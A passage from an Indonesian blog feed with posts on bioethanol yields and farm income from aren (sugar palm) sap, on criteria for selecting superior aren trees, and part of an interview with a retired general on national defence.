<p>Pada pertengahan Bulan Agustus 2008 yang lalu penulis mengikuti Pelatihan Produksi Bioethanol yang diselenggarakan oleh Majalah TRUBUS di Cimanggis Depok.  Penulis bertemu dengan para ahli di bidang Bioethanol Indonesia, antara lain : Bapak Arief Yudiarto, Bapak Roy Hendroko, Bapak Ronny Purwadi, Bapak Cecep Sudirman dan Bapak Bambang Purnomo.  Beliau semua adalah para ahli yang bertindak sebagai nara sumber dan instruktur pelatihan tersebut.</p>
<p>Bapak Arief Yudiarto dan Bapak Roy Hendroko mengakui bahwa Aren adalah salah satu bahan baku bioethanol yang paling produktif.   Dalam catatannya disebutkan bahwa Aren yang diolah dari niranya dapat menghasilkan bioethanol sekitar 25.000 dan 40.000 liter/hektar/tahun.   Sedangkan komoditi lain jauh lebih rendah.  Nipah, Kelapa dan Lontar yang diambil dari niranya potensi bioethanolnya antara 15.000, 10.000 dan 8.000 liter/hektar/tahun.  Ubijalar, Tebu, Jagung, Sorgum manis, dan Ubikayu memiliki produktivitas bioethanol lebih rendah lagi yaitu antara 7.800, 6.000, dan 4.500 liter/hektar/tahun.</p>
<p>Antara Tebu dan Aren</p>
<p>Selama ini bahan baku yang paling banyak digunakan untuk bioethanol adalah Tebu, terutama memanfaatkan Molases (tetes tebu) yang merupakan ‘limbah’ (atau lebih tepat produk samping) dari pabrik gula tebu.  Tebu dari batang segarnya mempunyai produktivitas bioethanol mencapai 6.000 liter/hektar/tahun, sedangkan dari molasesnya menapai 1.000 liter/hektar/tahun, kalau dijumlah menjadi sekitar 7.000 liter/hektar/tahun.</p>
<p>Menurut Bapak Bambang Purnomo dari 100 kg tebu segar akan dihasilkan 85 kg nira tebu (press dua kali).  Dari nira 85 kg tersebut diperoleh 6,6 liter bioethanol 95%(v/v).  Kalau 1 hektar tebu, yang menurut Dr. Sunyoto (dari P3GI) Pasuruan, potensi produktivitas Tebu tahun 2007 sebesar 82 ton/hektar, maka akan diperoleh nira sebanyak 69.700 kg dan akan menjadi bioethanol sebanyak   82.000/100 x 6,6 = 5.412 liter/hektar.  Jadi angka 6.000 liter di atas masih agak dekat dengan 5.412 liter.</p>
<p>Sekarang masalahnya adalah apakah sama kandungan gula antara nira dari Tebu dan dengan dari Aren.  Karena yang akan diubah menjadi bioethanol dari kedua nira tersebut adalah gulanya, makanya kandungan gulanya perlu dibandingkan.  Namun kita bisa saja mengambil hitungan di atas, maksud saya berapa kandungan bioethanol dari nira.  85 kg Nira Tebu dapat menghasilkan 6,6 liter bioethanol 95% (BE 95), berarti sekitar 7,7 %.</p>
<p>Pengalaman di Minahasa Selatan Nira Aren dapat mengasilkan BE 95 antara 6 sampai 7 %, tetapi ada yang mengatakan sampai 7,5 %.   Kalau dibandingkan dengan Nira Tebu hampir sama.  Misalnya kita ambil angka terendah yaitu 6 % saja.  Jadi berapa hasil BE 95 jika kita berkebun  Aren seluas 1 hektar dalam satu tahunnya?   Asumsi kita setiap hari dalam satu hektar dari 200 pohon yang menghasilkan ada 100 pohon saja, dengan rata-rata produksi nira 15 liter/hari/pohon.  Jadi hasil nira dalam satu hari setiap hektar adalah sekitar 1.500 liter/ha/hari, maka akan menghasilkan BE sebanyak 1.500 liter x 6 % = 90 liter/hari.   Kalau dihitung sebulan menjadi  30 hari/bulan x 90 liter/hari = 2.700 liter/bulan,   dan menjadi dalam setahun menjadi 12 x 2.700 liter = 32.400 liter BE 95 /hektar/tahun.</p>
<p>Produktifitas BE  dari kebun Aren  yang mencapai 32.400 liter itu dihitung dengan asumsi hasil nira 15 liter/pohon/hari.  Kalau menggunakan angka produksi nira Aren 10 liter/pohon/hari angka produksi BE-nya menjadi  21.600 liter/ha/tahun.   Sedangkan kalau asumsinya produksi nira Aren  20 liter/pohon/hari, maka angka produksi BE dari kebun Aren seluas 1 hektar dalam setahunnya adalah 43.200 liter BE/hektar/tahun.   Kita bisa hitung-hitung sendiri berapa banyak produksi nira dari kebun Aren kita seandainya akan diolah menjadi BE semua.  Dari pengalaman lah yang nanti dapat menetapkan angka-angka pastinya produksi BE.</p>
<p>Jadi hasil BE antara sehektar lahan Tebu dan sehektar kebun Aren berbanding antara 5.412 : 32.400 =  1 : 5,98   atau  1 : 6  (satu dibanding enam).  Jadi kalau kita menanam 6 hektar Tebu baru lah seanding dengan 1 hektar kebun Aren.   Atau sebaliknya kalau kita memiliki 1 hektar kebun Aren maka akan menghasilkan Bioethanol yang setara dengan menanam Tebu seluas 6 hektar.</p>
<p>Aren vs Nipah dan Kelapa</p>
<p>Bagaimana dengan Nipah dan Kelapa yang juga sebagai sumber bahan pemanis yang bisa diolah niranya menjadi Bioethanol?   Nipah adalah tanaman yang merupakan anugerah alam di sekitar pantai atau perairan yang payau.  Nipah tumbuh sendiri secara liar di kanan kiri sungai yang berair payau, pertemuan antara air tawar dan air laut.  Namun yang menjadi kendala pengelolaan nira Nipah adalah sulitnya menjangkau pokok-pokok Nipah karena tumbuhnya secara liar di pinggir sungai.  Untuk mengumpulkan nira dari pohon ke pohon tingkat kesulitannya sangat tinggi, karena tanah berlumpur, populasi Nipah yang rapat, banyak nyamuk, banyak buaya, dll.  Produksi nira per pohon per harinya juga sangat kecil, sehingga pekerjaan pengambilannira dirasa sangat ribet, rumit, dan kurang praktis.</p>
<p>Kalau Kelapa masih banyak gunanya untuk keperluan pangan yang lain, sehingga meskipun produktivitasnya cukup tinggi dengan kemudahan pemungutannya hampir seperti Aren, belum menjadi pilihan untuk diolah menjadi bioethanol.  Kadang yang sering menjadi pertimbangan adalah faktor pasar serta kemudahannya dalam memprosesnya.   Kalau pasarnya untuk Kelapa segar sudah bagus, mengapa harus bersusah-susah diolah menjadi bioethanol.  Kalau harga Kopra untuk bahan minyak goreng saja sudah bagus menapa harus diolah menjadi Bioethanol.   Jadi begitulah mungkin cara berpikir yang pragmatis, realistis dan mungkin ekonomis.   Dengan demikian Aren memang lebih unggul dan lebih efisien jika dibandingkan dengan sumber bahan yang lain ntuk Bioethanol.</p>
<p>Aspek Teknologi Pengolahan Bioethanol</p>
<p>Dari aspek teknologi prossesing-nya mengolah nira Aren menjadi Bioethanol ternyata yang paling sederhana dengan peralatan yang paling minimum.  Bahkan nira bila dibiarkan saja akan mengalami fermentasi dan menjadi alkohol, yang disebut sebagai bioethanol itu.  Saking sederhananya masyarakat di Sulawesi Utara, Sumatera Utara, dll. sudah membudayakan cara mengolah Nira Aren menjadi Tuak, Cap Tikus untuk dimurnikan menjadi Bioethanol bagi keperluan industri dan bahan bakar nabati.</p>
<p>Di Minahasa Selatan sudah dari dulu kala, secara turun menurun masyarakat memanfaatkan Nira Aren mengelolanya menjadi Bioethanol.  Caranya sebagai berikut, pertama nira Aren disadap selama 24 jam, kemudian dibiarkan selama 12-24 jam lagi sehingga terbentuklah ethanol berkadar 6-7 %.  Kemudian nira yang telah terfermentasi tersebut dimasak dalam Drum dan uapnya diembunkan lewat Bambu.  Dari uap air yang merambat di bambu tersebutlah diperoleh bioethanol berkadar antara 18 – 70%.</p>
<p>Omset pendapatan petani Aren dari bioethanol dengan kebun sehektar</p>
<p>Kalau angka produksi yang digunakan adalah 32.400 liter/hektar/tahun, sedangkan tingkat harga Bioethanol seharga Rp 8.000,-/liter BE, maka omset pendapatan petani setiap hektar/tahun mencapai Rp  259.200.000,- (dua ratus limapuluh sembilan juta rupiah) per hektar/tahun.  Kalau harga Bioethanol mencapai Rp 10.000,-/liter, maka omset pendapatannya akan mencapai Rp 324 juta/ha/tahun.   Tentu saja angka ini masih dikurangi segala jenis biaya-biaya yang diperlukan dari pengelolaan kebun, pengelolaan nira sampai menjadi bioethanol, dll.  Tapi barangkali proporsinya sekitar 30-45% saja, jadi masih ada hasil bersihnya sekitar 55-70% dari omset pendapatan tadi.  Kalau toh hasil bersih yang diperoleh petani 50 % saja juga masih sangat bagus.</p>
<p>Oleh karena itu para pekebun Aren tidak hanya boleh KAYA tapi harusnya menjadi KAYA RAYA.   Nah… kalau sudah KAYA atau KAYA RAYA jangan lupa mengeluarkan hak para fakir, miskin, kaum lemah, dan siapa saja yang membutuhkan pertolongan, yang jumlahnya masih sangat banyak di negeri kita ini.   Makanya dengan membuka KEBUN AREN sekarang , sekitar delapan sampai sepuluh tahun kemudian kita akan bisa berbagi dengan hak-hak mereka, karena kita akan KAYA dan KAYA RAYA.   Kita tidak perlu lagi merompak seperti  Raden Said, …  karena kita sudah menemukan emasnya Kanjeng Sunan Bonang pada KEBUN AREN kita.  InsyaAllah!</p>
<p>Bagaimana menurut Anda?</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=24</wfw:commentRss>
		</item>
		<item>
		<title>MENCARI INDUK POHON AREN YANG UNGGUL</title>
		<link>http://diankusumanto.com/?p=23</link>
		<comments>http://diankusumanto.com/?p=23#comments</comments>
		<pubDate>Mon, 31 Aug 2009 16:53:54 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=23</guid>
		<description><![CDATA[MENCARI INDUK POHON AREN YANG UNGGUL
Oleh Dian Kusumanto
Ada kriteria unggul yang diinginkan oleh para penyadap nira Aren.  Mungkin bisa agak berbeda dengan kriteria unggul yang diinginkan oleh perusahaan perkebunan Aren.  Lalu kriteria mana yang akan kita pergunakan.  Ya semuanya lah biar unggulnya bisa diakui oleh para penyadap sekaligus oleh perusahaan perkebunan.  [...]]]></description>
			<content:encoded><![CDATA[<p><strong>MENCARI INDUK POHON AREN YANG UNGGUL</p>
<p></strong>Oleh Dian Kusumanto</p>
<p>Ada kriteria unggul yang diinginkan oleh para penyadap nira Aren.  Mungkin bisa agak berbeda dengan kriteria unggul yang diinginkan oleh perusahaan perkebunan Aren.  Lalu kriteria mana yang akan kita pergunakan.  Ya semuanya lah biar unggulnya bisa diakui oleh para penyadap sekaligus oleh perusahaan perkebunan.  Oke, kalau begitu kita mulai saja dengan kriteria keunggulan yang diingini oleh para petani pemilik sekaligus sebagai penyadapnya yang memang menginginkan produksi air niranya yang unggul.</p>
<p>Mungkin Pak Sarman untuk sementara kita anggap bisa mewakili para petani pekebun Aren.  Karena pengalamannya yang cukup panjang yang digelutinya setiap hari, maka pendapatnya bisa dijadikan referensi yang rasanya lebih alami dan apa adanya.</p>
<p>Pertama.  Tanaman Aren yang unggul syaratnya yang pertama adalah yang mudah disadap.  Kalau susah disadap berarti pekerjaan yang rutin ini terasa akan menjengkelkan dan menyusahkan.  Pohon Aren yang mudah disadap biasanya ditandai dengan tangkai tandan buahnya terasa agak lunak atau tidak terlalu keras, sehingga akan lebih mudah disayat.</p>
<p>Tanda yang lain biasanya adalah kalau pokok batangnya disayat atau dilubangi sedikit saja sudah dapat mengeluarkan air nira.  Itu berarti pohon Aren itu mudah disadap dan mudah mengeluarkan nira.  Nantinya, kegiatan rutin penyayatan atau pengirisan ini dilakukan 2 (dua) kali sehari pagi dan sore,  maka kalau tandannya keras dan sulit disayat akan sangat berpengaruh pada kenyamanan pekerjaan harian ini.</p>
<p>Kerasnya tangkai tandan bunga bisa jadi disebabkan karena faktor genetis, artinya ada faktor keturunan dari nenek moyangnya.  Namun mungkin juga karena faktor fisiologis biologis yang dipengaruhi oleh lingkungan hidupnya.   Kandungan unsur hara dan tingkat kemasaman tanah bisa sangat berpengaruh pada tingkat kekerasan tangkai tandan.  Kelunakan jaringan tanaman biasanya sangat dipengaruhi oleh tersedianya secara cukup unsur N dan P tanah, yang mana ketersediaan dan tingkat absorsi oleh tanaman juga dipengaruhi oleh faktor fisik dan kemis tanah.</p>
<p>Kedua.  Biasanya pokok batangnya besar dan tinggi dengan daunnya yang hijau lebat meskipun dia agak terlindung oleh pepohonan yang lain.   Barangkali sifat ini dipengaruhi oleh tingkat respon tanaman terhadap hara disekitarnya.  Kalau tanah tempat tumbuhnya subur dengan keadaan fisik dan kimia tanah yang normal, maka tanaman yang memang unggul juga akan tumbuh dengan batang yang besar dan pohon yang tinggi menjulang.  Ada juga pohon yang meninggi karena pengaruh kurang cahaya matahari pada saat pertumbuhannya atau sering disebut sebagai etiolasi.  Namun biasanya pohon yang mengalami etiolasi pokok batangnya agak kecil dengan ruas-ruas buku batangnya yang agak memanjang.</p>
<p>Respon tanaman yang baik terhadap pemupukan akan menjadi kriteria bagi perusahaan perkebunan, karena nanti akan dilakukan pemupukan dan pemeliharaan yang intensif, sebagaimana sistem budidaya pada tanaman perkebunan yang lain.   Berbeda dengan kondisi kebiasaan petani Aren kita sekarang ini yang tidak pernah melakukan pemupukan.  Yang biasa dilakukan petani biasanya hanya membersihkan lingkungan di sekitar pohon Aren dari pohon-pohon lain yang melindunginya.</p>
<p>Ketiga.  Tandannya berukuran besar dan panjang.  Sebab ini berpengaruh pada banyaknya dan lamanya frekuensi penyadapan serta banyaknya nira yang bisa dikumpulkan.  Tangkai yang panjang bisa disadap sampai dengan 7 bulan, tergantung dari keahlian dan kesabaran cara mengiris tangkai tandan dari penyadapnya.  Tangkai tandan yang besar mempengaruhi banyaknya nira yang mengalir.  Sehingga kalau tangkai tandan bunga ini selain besar juga panjang, maka hasil nira yang dihasilkan juga akan banyak volumenya dan periode penyadapannya akan lama.  Oleh karena itu pohon yang unggul adalah pohon yang produksi niranya juga tinggi.</p>
<p>Semakin tipis sayatan atau irisan akan semakin lama pula tangkai tandan bisa mengeluarkan air nira.  “Kalau bisa sayatannya setipis kertas”,  kata Pak Sarman.  Sayatan tipis sebenarnya hanya untuk menghilangkan jaringan pembuluh tapis tanaman yang tersumbat akibat dari pengaruh oksidasi atau bersentuhan dengan udara luar.<br />
Oksidasi yang terjadi menyebabkan browning (pencoklatan) pada jaringan terluar pembuluh yang teriris dan berhubungan dengan udara bebas.</p>
<p>Apakah ada cara untuk menghambat proses tertutupnya pembuluh atau saluran kapiler nira ini?  Barangkali dengan cara membuat vacum pada permukaan jaringan yang terbuka karena disayat atau diiris, tapi bagaimana caranya? Atau membuat alat pengiris yang dapat mengiris tangkai tandan itu setipis mungkin.  Atau kombinasi antara alat vacum sekaligus dengan pisau pengirisan yang tipis.  Mungkin nanti akan dibahas pada tulisan yang lain. InsyaAllah!</p>
<p>Keempat.  Masa produksi panjang dan masa istirahat berproduksi pendek.   Menurut beberapa petani yang ditemui penulis, sepertinya ada hubungan antara besarnya diameter batang pohon Aren dengan masa produksi dan masa istirahatnya.  Pohon yang berbatang kecil biasanya tangkai tandan bunganya juga kecil dan pendek.  Kalau tandannya pendek berarti masa produksi atau panen pendek, sedang masa istirahatnya lebih panjang.</p>
<p>Kalau pohonnya besar biasanya akan mengeluarkan tangkai tandan bunga yang lebih besar dan panjang, sehingga masa sadapnya menjadi lebih lama dan masa istirahat atau masa menunggu munculnya tangkai tandan bunga yang siap disadap lebih pendek.   Hal ini sebenarnya juga dipengaruhi oleh tingkat keahlian cara mengiris dari para penyadapnya serta tingkat kemudahan atau kelunakan tangkai tandan yang diiris.</p>
<p>Kelima.   Perlakuan pemukulan untuk merangsang keluarnya nira tidak terlalu lama.  Sebab ada pohon yang agak susah dan lama mengeluarkan air nira meskipun sudah dilakukan perlakuan pemukulan, dan perlakuan lainnya.  Namun ada jenis pohon Aren yang gampang sekali mengeluarkan meskipun perlakuan pemukulannya belum terlalu lama.  Respon terhadap perlakuan pemukulan perangsangan keluarnya air nira memang bisa tidak sama di berbagai tempat, sehingga ada kemungkinan di daerah yang pohon Arennya berkembang dan dimanfaatkan adalah yang gampang merespon perangsangan.</p>
<p>Ada juga daerah yang banyak pohon Arennya namun penyadapnya kurang, mungkin disebabkan juga karena pohon sulit dirangsang dan sulit mengeluarkan nira.   Namun ada juga yang sebaliknya, yaitu ada daerah yang banyak pohonnya banyak juga yang menyadap, hampir semua pohon dimanfaatkan.</p>
<p>Perlakuan pemukulan ini  sebenarnya bertujuan untuk merangsang terbukanya saluran kapiler, saluran menjadi longgar dan mampu di lewati air nira mulai dari pangkal tangkai tandan bunganya sampai ke ujungnya.  Pemukulan dilakukan dengan bantuan alat pemukul dengan bentuk yang khas dan terbuat dari bahan kayu-kayuan tertentu.  Alat pemukul ini cukup untuk memberi getaran-getaran tetapi tidak melukai atau membuat kulit tangkai tandan bunga menjadi seperti memar-memar.</p>
<p>Ada juga petani yang selain melakukan pemukulan-pemukulan juga melakukan gerakan-gerakan pada tangkai tandan dengan arah ke kanan dan kekiri, ke atas dan ke bawah dengan berulang-ulang.  Namun cara menggerakkan tangkai tandan tadi dilakukan agak lembut dan pelan dengan segenap perasaan dan pengharapan.</p>
<p>Pada perkebunan besar bisa saja pekerjaan pemukulan dan perlakuan lain untuk merangsang keluarnya nira ini akan digantikan dengan alat khusus.  Barangkali alat itu seperti alat getar untuk pemijatan yang dipasang pada tangkai tandan, yang secara periodik digetarkan sehingga seperti melakukan pemukulan ringan yang berulang-ulang.  Alat ini juga bisa menggerakkan tangkai tandan ini atau meliukkan ke kanan dan ke kiri ke atas dan ke bawah.  Bagaimana dengan listriknya?  Mungkin menggunakan baterai saja.</p>
<p>Perangsangan memang selalu dilakukan untuk setiap tangkai tandan bunga baru yang akan dipungut air niranya.  Jadi frequensi perangsangan tangkai tandan ini mengikuti jumlah tandan yang keluar.  Kalau dalam setahun rata-rata setiap pohon akan mengeluarkan tangkai tandan sebanyak 2-5 tandan.  Jadi dalam setiap hektarnya dengan populasi tanaman 200 pohon, maka akan dilakukan perangsangan tangkai tandan pohon sebanyak 400 sampai 1000 kali/tahun/hektar.  Angka yang besar sekali, apalagi kalau luasan kebunnya mencapai puluhan, ratusan bahkan ribuan hektar.  Maka penciptaan alat untuk merangsang tangkai tandan bunga menjadi suatu yang strategis dalam pengembangan Aren skala luas.</p>
<p>Keunggulan pertama sampai dengan kelima adalah untuk pohon Aren yang diharapkan dalam produksi air niranya.   Namun sebenarnya tanaman Aren juga bisa diharapkan dari hasil lainnya seperti ijuknya, kolang-kalingnya, sagunya, lidinya, dan lain-lainnya.</p>
<p>Mungkin ada lagi kriteria unggul yang lainnya, bagaimana menurut Anda?</p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=23</wfw:commentRss>
		</item>
		<item>
		<title>MILITER ASIA PERNAH BERKIBLAT KE TNI</title>
		<link>http://diankusumanto.com/?p=22</link>
		<comments>http://diankusumanto.com/?p=22#comments</comments>
		<pubDate>Thu, 16 Oct 2008 15:52:21 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=22</guid>
		<description><![CDATA[Militer Asia Pernah Berkiblat ke TNI
MANTAN WAKASAD LETJEN TNI (PURN) KIKI SYAHNAKRI :
Mungkinkah negara lain menginvasi Indonesia, seperti Amerika Serikat menghajar Irak? Jawabnya: mungkin. Negara lain memiliki seribu satu alasan untuk menyerang Indonesia. Alasan utama, tentu saja, tuntutan ekonomi. Ancaman serangan bukan semata dari negara-negara besar. Negara kecil dan serumpun seperti Malaysia bisa pula melempar [...]]]></description>
			<content:encoded><![CDATA[<p>Militer Asia Pernah Berkiblat ke TNI<br />
MANTAN WAKASAD LETJEN TNI (PURN) KIKI SYAHNAKRI :</p>
<p>Mungkinkah negara lain menginvasi Indonesia, seperti Amerika Serikat menghajar Irak? Jawabnya: mungkin. Negara lain memiliki seribu satu alasan untuk menyerang Indonesia. Alasan utama, tentu saja, tuntutan ekonomi. Ancaman serangan bukan semata dari negara-negara besar. Negara kecil dan serumpun seperti Malaysia bisa pula melempar ancaman. Baru-baru ini, dikabarkan warga negara Indonesia (WNI) di perbatasan direkrut Askar Wataniah Malaysia sebagai prajurit paramiliter. Mereka bekerja untuk kepentingan pertahanan Malaysia.</p>
<p>Jika invasi itu benar-benar terjadi, mungkinkan Indonesia mampu mempertahankan diri? Jawabnya: harus. Di sinilah makna penting sebuah sistem pertahanan. Indonesia mesti memiliki sistem pertahanan untuk melindungi diri dari invasi asing.</p>
<p>Masih dalam bingkai sistem pertahanan, Indonesia memiliki sejumlah industri strategis yang menunjang pengadaan alat utama sistem persenjataan (alussista). PT Pindad, PT Dirgantara Indonesia, dan PT PAL, adalah secuil industri yang berorientasi pada pengawalan pertahanan kedaulatan negara. Tapi, industri strategis ini sempat dimandulkan IMF (Dana Moneter Internasional) . Negara maju di belakang lembaga keuangan dunia itu tidak rela melihat Indonesia kuat secara militer dan ekonomi.</p>
<p>Untuk pemenuhan alutsista, PT Pindad, misalnya, telah memproduksi belasan ribu unit senapan laras panjang jenis SS2, kendaraan tempur Angkutan Personel Sedang (APS) 6&#215;6. Pindad juga mampu memproduksi panser 6&#215;6 yang tidak kalah hebat dibandingkan panser-panser sejenis seperti Vehiule de l&#8217;Avant Blinde (VAV) Renault Trucks, Prancis. Yang tak kalah penting adalah keberadaan 400 ribu personel TNI. Merekalah ujung tombak sistem pertahanan nasional.</p>
<p>Untuk mengupas lebih dalam ihwal sistem pertahanan nasional, wartawan Investor Daily Pamudji Slamet mewawancarai mantan Wakil Kepala Staf Angkatan Darat (Wakasad) Letjen TNI (Purn) Kiki Syahnakri. Selain konsisten mengembalikan fungsi pertahanan TNI, Kiki Syahnakri juga serius menolak politisasi militer. Berikut penuturannya.</p>
<p>Negara besar seperti Indonesia, kekuatan militernya juga harus besar. Selain untuk pertahanan, juga bisa untuk mencegah gangguan ekonomi, seperti illegal logging, illegal fishing, dan illegal mining. Bagaimana menurut Anda?</p>
<p>Memang begitu seharusnya. Negara mana pun pasti akan meng-create suatu sistem pertahanan yang kuat untuk memproteksi dirinya. Swiss, misalnya, sistem pertahanannya dengan memiliterisasi semua rakyat, dengan menggunakan sistem total defense. Prancis pun masih menggunakan total defense.<br />
Indonesia juga memiliki sistem pertahanan. Dan, harusnya lebih canggih dari Prancis serta Amerika Serikat (AS), karena, negara kita adalah negara kepulauan, letaknya strategis.</p>
<p>Bisa Anda deskripsikan lebih rinci?</p>
<p>Kapal induk AS dari armada ketujuh pasti lewat perairan kita. Ekspor/impor AS dari dan ke Timur Tengah juga lewat perairan kita. Enam puluh persen ekspor Australia dan 90% impor Jepang lewat perairan kita. Ciri lain adalah kekayaan sumber daya alam. Kebhinekaan negeri kita juga benar-benar luar biasa. Ada 600 lebih suku di negeri ini. Itu semua harus dilindungi sistem pertahanan yang memadai.</p>
<p>Apakah sistem pertahanan yang kita anut menyerupai sistem di negara lain?</p>
<p>Kebetulan kita sama dengan Prancis, menganut total defense. Namun kita istilahkan sistem pertahanan rakyat semesta (sishankamrata) . Prinsipnya sama, yakni mendayagunakan seluruh potensi bangsa untuk kepentingan pertahanan. Sektor industri, misalnya, dikaitkan dengan industri pertahanan. Masalahnya, sistem pertahanan kita belum terimplementasi, seperti di Prancis atau Singapura. Sampai kini, sishankamrata masih dalam tataran konsep. Kita memerlukan blueprint yang mengatur sistem pertahanan. Untuk ini, drive-nya bisa datang dari Dephan.<br />
Komponen utama sistem pertahanan adalah TNI. Dalam sishankamrata, TNI harus mampu melakukakn tindakan pre emptive stike. Dalam doktrin sishankamrata, untuk menghadapi musuh dari luar, kalau kita yakin dia akan menyerang, kita harus menyerang lebih dulu. Ada pre emptive strike.</p>
<p>Kenapa Irak mudah diserang AS, karena diduga tidak memiliki pabrik senjata. Untuk menyerang RRT dan India yang memiliki pabrik senjata, AS berpikir sepuluh kali. Bagaimana RI yang sesungguhnya punya industri strategis untuk mendukung pertahanan?</p>
<p>Ini tentang industri strategis. Pada saat Presiden Soeharto menandatangani Letter of Intent (LoI) dengan IMF, industri-industri strategis dinilai sebagai pemborosan. IMF meminta tidak perlu dikembangkan. Kita mengikuti. Sebenarnya bukan karena pemborosan, tapi mereka sengaja membuat industri strategis kita tidak berkembang. Itu adalah cara pandang negara adikuasa yang kapitalis, yang ingin menghisap kekayaan kita. Mereka tidak akan leluasa menghisap kalau Angkatan Bersenjata kita kuat.</p>
<p>Mungkinkah Indonesia mengalami nasib sama dengan Irak?</p>
<p>Kita memiliki kekayaan alam luar biasa. Sekarang, kapitalis AS ada di mana-mana, terutama di pertambangan. Kalau kepentingannya diganggu, dia pasti datang. Masalahnya, kita tidak siap untuk itu. AS tidak akan berani menyerang Tiongkok karena Tiongkok sudah siap.</p>
<p>Untuk membangun angkatan bersenjata diperlukan beberapa syarat. Salah satunya, angkatan bersenjata harus steril dari politik praktis. Rusak kalau angkatan bersenjata berada di kolam politik praktis.</p>
<p>Memisahkan angkatan bersenjata dari politik praktis adalah salah satu agenda reformasi TNI. Apakah reformasi TNI sudah optimal?</p>
<p>Pasti belum. Namun, dibanding institusi lain, yang lebih maju reformasinya TNI. Permasalahan bangsa ini kan bagaimana kita mengatasi kemiskinan, kebodohan, kesehatan masyarakat. Yang paling dekat dengan pekerjaan itu adalah birokrasi, parpol, dan DPR. Jadi, seharusnya yang direformasi adalah birokrasi dan parpol. Jangan TNI terus yang dikejar-kejar.</p>
<p>Presiden kita kan militer, pasti tahu persis kebutuhan TNI?</p>
<p>Pak Harto dulu, TNI juga, tapi dia tidak lakukan penguatan TNI.</p>
<p>Kenapa Pak Harto tidak mau melakukan?</p>
<p>Sebenarnya, TNI kita dulu, sangat kuat. Pada waktu perebutan Irian Barat, era 1960-1965, alutsista kita sangat bagus, dari Rusia. Angkatan bersenjata kita terkuat di Asia Tenggara, bahkan di Asia. Namun, setelah pemberontakan G30S, kita berhadapan dengan komunis, Rusia. Ujung-ujungnya, Rusia tidak memberi spare part dan yang lain.<br />
Kendati begitu, TNI masih disegani. Buktinya, Malaysia melatih satu batalyon kopaskhas-nya (satuan lintas udara) di Batujajar, Bandung. Waktu itu kita menjadi kiblat dari profesionalisme militer di kawasan Asia Tenggara. Profesionalisme kita dianggap berkualitas, padahal senjata kita sudah rontok.</p>
<p>Senjata sudah rontok, tapi masih disegani?</p>
<p>Kenapa Malaysia tidak bersedia dilatih oleh AS atau Inggris? Karena tentara mereka mengerti betul berapa Gurkha (tentara Inggris keturunan Nepal) yang bisa dibunuh oleh TNI. Berapa pula tentara Australia yang berhasil dibunuh oleh RPKAD (Resimen Pasukan Komando Angkatan Darat) dalam konfrontasi Dwikora.<br />
Namun, ketika TNI mulai intens di politik praktis, mendapat previlege menjadi gubernur dan bupati, kemampuan militer pun terlupakan.</p>
<p>Budaya politik praktis seperti apa yang merusak TNI?</p>
<p>Kerusakan terjadi seiring masuknya budaya poolitik ke tubuh TNI. Dalam budaya politik, siapa yang kuat, dialah yang kita gantoli (gantungi). TNI pun begitu. Akhirnya, karakter (ke-TNI-an)- nya rusak. Dalam buku Hermawan Sulistyo (peneliti LIPI) yang berjudul &#8216;Lawan&#8217;, ditulis, TNI mengalami degradasi profesionalitas, military competence serta military character. Itu susah diperbaiki. Harus ada sterilisasi politik dan purifikasi militer.</p>
<p>Setelah steril dari politik praktis, langkah apa lagi yang harus diprioritaskan untuk mewujudkan angkatan bersenjata yang kuat?</p>
<p>Anggaran. Selama ini, anggaran angkatan bersenjata amat minim, terutama di Angkatan Darat (AD). Ibarat selimut, ditarik ke atas, di bawah nggak ketutup. Ditarik ke bawah, atas nggak ketutup. Padahal, untuk memelihara kompetensi militer harus melalui pendidikan spesialisasi dengan anggaran besar, biar ada ahli bom, ahli senjata, ahli pionir, ahli perhubungan, dll.</p>
<p>Kenapa pemerintah tidak menaikkan saja anggaran militer RI?</p>
<p>Saya pikir anggaran militer tidak boleh asal dinaikkan. Harus ada terlebih dahulu blueprint pertahanan Indonesia. Dari situ, kita mengetahui arah pengembangan pertahanan kita.</p>
<p>Keterbatasan anggaran mungkin bisa diatasi dengan skala prioritas?</p>
<p>Masalahnya, ada tarik menarik antara pengembangan pendidikan spesialisasi (dikspes) dengan pendidikan pembentukan (diktub). Karena tidak bisa memenangkan dikspes, akhirnya diktub yang mendapat anggaran. Pertimbangannya, tanpa diktub sulit menambah batalyon. Akibatnya, keahlian personel TNI makin hilang.<br />
Menurut saya, anggaran pembelian alutsista, bisa bertahap. Tetapi anggaran pelatihan dan pendidikan tidak boleh dikurangi. Saya sudah sampaikan kritik kepada Panglima TNI (Jenderal Djoko Santoso), waktu masih menjadi KSAD. Saya bilang, jangan mengembangkan satuan (seperti pembentukan batalyon, kodim). Itu menambah beban biaya.<br />
Saya ingatkan, memelihara tentara dalam jumlah besar, namun berkualitas jelek, berbahaya. Pendidikan menembak yang seharusnya ribuan kali, karena tidak ada biaya, hanya puluhan kali. Lalu kesejahteraannya juga jelek.<br />
Nah, Pak Djoko Santoso (Panglima TNI sekarang), rupanya paham, maka dalam Rapim, salah satu kebijakannya adalah mengembangkan kemampuan.</p>
<p>Sebagai negara kepulauan, apakah ke depan Angkatan Udara dan Angkatan Laut yang perlu dikembangkan? Lalu, mungkinkah dominasi Angkatan Darat dikurangi?</p>
<p>Doktrin sishankamrata, selalu dimulai dari pre emptive strike (memukul lebih dulu). Itu hanya bisa dilakukan oleh Angkatan Udara, bukan Angkatan Darat. Lalu ada pertempuran laut teritorial, yang hanya bisa dilakukan oleh Angkatan Laut. Angkatan Darat baru terlibat, setelah serangan lawan masuk ke pantai dan darat. Jadi, doktrinnya memang mengharuskan kita memiliki AL dan AU yang kuat. Doktrin Angkatan Darat adalah menjaga pertahanan pulau-pulau besar.</p>
<p>Lalu, mengapa muncul penilaian bahwa penguatan TNI lebih condong ke Angkatan Darat?</p>
<p>Orde Baru menggunakan Angkatan Darat untuk kepentingan politik. Anggaran yang keluar, pada saat itu, bukan untuk anggaran pertahanan, tetapi untuk anggaran kekaryaan dan lain sebagainya.</p>
<p>Ini soal nama Anda. Kabarnya nama Syahnakri terkait dengan konsep negara kesatuan?</p>
